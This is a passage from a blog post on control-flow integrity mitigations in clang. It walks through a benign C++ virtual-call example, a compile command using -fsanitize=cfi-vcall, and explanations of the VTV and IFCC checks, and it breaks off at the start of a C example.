style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> weight;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">virtual</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">getWeight</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() { </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;};</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">virtual</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">getMass</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() { </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">120</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;};</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">};</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Obviously, Tiger derives from the Animal class</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">class</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Tiger</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">: </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">public</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> Animal {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">public</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">:</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> weight;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> height;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">getWeight</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> weight;};</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">getMass</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() { </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> height;};</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">getHeight</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> height;};</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">};</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">()</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; Tiger t1;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">/* below, an Animal object pointer is set to point</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; to an object of the derived Tiger class&#xA0; */</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; Animal *a1 = &amp;t1;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">/*&#xA0; below, how does this know to call the</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; definition of getWeight in the Tiger class,</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; and not the definition provided in the Animal</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; class&#xA0; */</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">cout</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &lt;&lt; (a1-&gt;getMass());</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>To use compile binary with VTV enable through clang use the following command:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">clang++ -fsanitize=cfi-vcall -fvisibility=hidden -flto test2.cpp -o test2_cfi</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>After compiling let&#x2019;s compare the code difference with and without the CFI-VTV enabled.</p><p>Before:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/dH247BsDvFWzqX08ZEJg9CHjrZwtT1Jcg70mZRLPLzDxEBdf7-lnOVVMNRHZQWNCNKiIrmlH2kTKBBOwRC7gDLzBnblGXq-AHKG6CH-aQMUVcWMdgzLNHLGgQXM2a0TmNpqy05_84chW54qqZBfW5kc" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="158"></figure><p>After:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/_skddwgsN3X2QA2QbkxXyDICeTic1QiaMNeDcyYdw2APGzmCrNYEOrWeHT92JcjguOsTQDEikZVYUo8IGYOyJBdxi7JQIz_9tqRGPjIjxiu80QYSNGBn3LLyZpwxeJyY34TE4BrlJVB2paGQXOdkrys" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="239"></figure><p></p><p>In the second image you will notice that before calling <em><code>a1-&gt;getmass()</code> (address <code>[rax+8]</code>)</em>, it is been verified if it is in the range of valid call site which is added during IR phase of compilation. The check can be explained in more details here: <a href="https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html?ref=nixhacker.com">https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html</a></p><h4 id="ifcc-indirect-function-call-checks">IFCC: Indirect Function-Call Checks</h4><p>Unlike VTV, IFCC mechanism protect integrity of all kinds of indirect calls. , it protects indirect calls by generating jump tables for indirect-call targets and adding code at indirect-call sites to transform function pointers, ensuring that they point to a jump-table entry. Any function pointer that does not point into the appropriate table is considered a CFI violation and will be forced into the right table by IFCC. The valid jump table entries are again created based on same function prototypes.</p><h5 id="ifcc-in-action">IFCC In action:</h5><p>Let&#x2019;s look at the following C program:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Function prototypes</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">add</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b);</span><span 